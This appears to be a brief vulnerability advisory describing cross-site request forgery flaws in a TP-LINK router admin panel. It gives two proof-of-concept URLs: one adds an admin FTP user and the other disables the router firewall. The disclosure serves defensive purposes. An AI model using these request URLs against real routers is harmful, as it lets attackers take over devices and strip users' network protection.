Vulnerability Description:

Multiple Cross Site Request Forgery vulnerabilities were found in TP-LINK
Admin Panel, because the application allows authorized users to perform
certain actions via HTTP requests without making proper validity checks to
verify the source of the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user visits
a malicious web site.

Proof of Concepts:

1)	New Storage Sharing and FTP Server user:
http://tplinklogin.net:80/userRpm/NasUserAdvRpm.htm?nas_admin_pwd=hacker&nas_admin_confirm_pwd=hacker&nas_admin_authority=1&nas_admin_ftp=1&Modify=1&Save=Save

2)	Disable the Router's Stateful Inspection Firewall:
http://tplinklogin.net:80/userRpm/BasicSecurityRpm.htm?stat=983040&Save=Save

Impact:

An affected user may unintentionally execute actions written by an
attacker. In addition, an attacker may change router settings or gain
unauthorized access
